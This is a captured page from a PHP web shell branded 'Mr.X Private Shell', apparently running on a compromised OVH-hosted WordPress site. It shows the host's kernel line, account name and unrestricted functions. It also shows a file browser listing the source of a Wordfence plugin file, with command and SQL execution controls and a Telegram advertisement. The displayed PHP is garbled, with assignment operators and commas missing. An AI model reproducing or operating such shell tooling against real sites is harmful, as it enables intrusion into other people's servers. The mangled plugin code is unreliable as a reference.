Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/wp-content/plugins/wordfence/lib      ( Reset | Go to )
File Name: menu_scanner_credentials.php
Edit
<?php
if (!defined('WORDFENCE_VERSION')) { exit; }
$scanner wfScanner::shared();
$scanURL network_admin_url('admin.php?page=WordfenceScan');

$action wfUtils::array_get($_GET'action');
if (!
is_string($action) || !in_array($action, array('restoreFile''deleteFile'))) { $action ''; }
$filesystemCredentialsAdminURL network_admin_url('admin.php?' http_build_query(array(
        
'page'               => 'WordfenceScan',
        
'subpage'            => 'scan_credentials',
        
'action'              => $action,
        
'issueID'            => (int) wfUtils::array_get($_GET'issueID'0),
        
'nonce'              => wp_create_nonce('wp-ajax'),
    )));

switch (
$action) {
    case 
'restoreFile':
        
$callback = array('wordfence''fsActionRestoreFileCallback');
        break;
    case 
'deleteFile':
        
$callback = array('wordfence''fsActionDeleteFileCallback');
        break;
}
?>
<div class="wf-options-controls">
    <div class="wf-row">
        <div class="wf-col-xs-12">
            <?php
            
echo wfView::create('options/block-controls', array(
                
'backLink' => $scanURL,
                
'backLabel' => __('Back to Scan''wordfence'),
                
'suppressControls' => true,
            ))->
render();
            
?>
        </div>
    </div>
</div>
<div class="wf-options-controls-spacer"></div>
<div class="wrap wordfence">
    <div class="wf-container-fluid">
        <div class="wf-row">
            <div class="wf-col-xs-12">
                <div class="wp-header-end"></div>
            </div>
        </div>
        <div class="wf-row">
            <div class="<?php echo wfStyle::contentClasses(); ?>">
                <div id="wf-scan-permissions-prompt" class="wf-fixed-tab-content">
                    <?php
                    
echo wfView::create('common/section-title', array(
                        
'title' => __('File System Credentials Required''wordfence'),
                    ))->
render();
                    
?>
                    <div class="wf-row">
                        <div class="wf-col-xs-12">
                            <div class="wf-block wf-active">
                                <div class="wf-block-content wf-padding-add-top wf-padding-add-bottom">
                                    <?php
                                    
if (isset($_GET['nonce']) && wp_verify_nonce($_GET['nonce'], 'wp-ajax')) {
                                        if (
wordfence::requestFilesystemCredentials($filesystemCredentialsAdminURLwfUtils::getHomePath(), truetrue)) {
                                            
call_user_func_array($callback, isset($callbackArgs) && is_array($callbackArgs) ? $callbackArgs : array());
                                        }
                                        
//else - outputs credentials form
                                    
}
                                    else {
                                        echo 
'<p>' wp_kses(sprintf(
                                            
/* translators: URL to the WordPress admin panel. */
                                                
__('Security token has expired. Click <a href="%s">here</a> to return to the scan page.''wordfence'), esc_url($scanURL)), array('a'=>array('href'=>array()))) . '</p>';
                                    }
                                    
?>
                                </div>
                            </div>
                        </div>
                    </div> <!-- end permissions -->
                </div> <!-- end wf-scan-permissions-prompt block -->
            </div> <!-- end content block -->
        </div> <!-- end row -->
    </div> <!-- end container -->
</div>

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL